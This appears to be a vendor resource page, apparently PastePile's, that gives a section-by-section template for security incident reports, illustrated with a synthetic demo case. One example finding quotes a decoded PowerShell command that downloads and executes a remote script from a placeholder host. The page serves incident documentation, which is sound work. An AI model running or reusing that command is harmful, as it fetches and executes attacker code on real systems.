Resources
Security incident report template
A section-by-section template for the report you hand a client or a manager after investigating a security incident, with a worked example for every section. The examples are quoted from a report PastePile produced for a synthetic demo case. Copy the structure or download the blank template; no account is needed.
Download the blank template
security-incident-report-template.md is plain Markdown. Open it in any editor, or paste it into your ticketing or document system. Replace every bracketed line, and give all times in UTC.
What makes the report hold up
- Every finding points to the records it rests on. A reader who doubts it can check it.
- What the evidence shows is kept apart from what you infer from it.
- What could not be determined is written down, with the evidence that would settle it.
- The checks that could not run are listed. A check that did not run is not a clean result.
- Recommendations say when they apply, so an authorized change does not trigger an incident response.
- Nothing is attributed to a named actor unless the evidence supports it.
1. What was examined
- Each item of evidence you received, with its type and record count.
- The time the evidence covers, first and last record, in UTC.
- What is out of scope: anything you did not collect, query or have access to.
1 item(s) of evidence containing 22 record(s), covering 2026-08-24 09:05:11 UTC to 2026-08-24 10:51:02 UTC. Anything outside the evidence supplied is out of scope: nothing was collected, fetched or queried from your environment.
2. What was found
- One block per finding, most severe first: a one-line statement, the severity, and the host, account and time.
- Why the behavior matters, in a sentence the client can follow.
- The records it rests on, by reference, so anyone can check the finding against the evidence.
- What the finding does not establish, and the recommended next step.
PowerShell started with an encoded command (high). On WS-4471, PowerShell was started with a base64-encoded command. The encoded payload decodes to: IEX (New-Object Net.WebClient).DownloadString('http://cdn-updates.example/stage2.ps1')
Recommended: Decode and review the full command, then determine whether it corresponds to approved automation on this host.
3. What could not be determined
- The questions the evidence cannot answer, each with the evidence that would answer it.
- This is the section that keeps a report honest: a client reads silence as "nothing happened".
Whether the decoded command executed successfully, or what it did next, is not shown by process-creation evidence alone.
Which document, add-in or macro caused the launch is not shown by the process record; that needs the file or the user's account of it.
4. What we recommend
- Actions in order, each tied to the finding it comes from.
- Make each one conditional where it should be: an action that only applies if the activity was not authorized says so.
Check whether the requested task, service, autorun entry or WMI subscription exists and compare it with your change records. Only if this activity was not expected or authorized.
5. What was checked
- How many checks ran, and how many could not run because their evidence was not supplied.
- Group the ones that could not run by the evidence they need, so the reader knows what to send next.
13 check(s) ran against the evidence you supplied. 21 could not run, because the evidence they need was not part of what was submitted.
A check that could not run is not a check that found nothing.
6. How this was produced
- The tools and methods used, and whether anything was looked up externally, detonated or sandboxed.
- Whether AI was used, and where.
- Any limitation that affects confidence in the findings.
No suspicious URL was visited, no attachment executed and no sample detonated.
Artificial intelligence. No language model was used in producing this case.
Findings are derived from the evidence supplied to this case and no other source.
See the whole example
The examples above come from one report. Read the complete synthetic client report, or open the demo case behind it to follow each finding to the record it cites. All names, hosts and addresses in it are synthetic.
PastePile builds a report in this structure from the evidence in a case: Windows event logs, Sysmon, Defender and Entra exports, and suspicious email. The demo cases are open without an account; working on your own evidence needs an account on a plan.